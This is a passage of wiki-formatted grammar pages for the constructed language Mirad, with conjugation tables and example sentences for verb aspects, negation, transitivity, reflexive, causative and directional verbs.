!row=1| Imminent !! Present !! Indicative 
| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
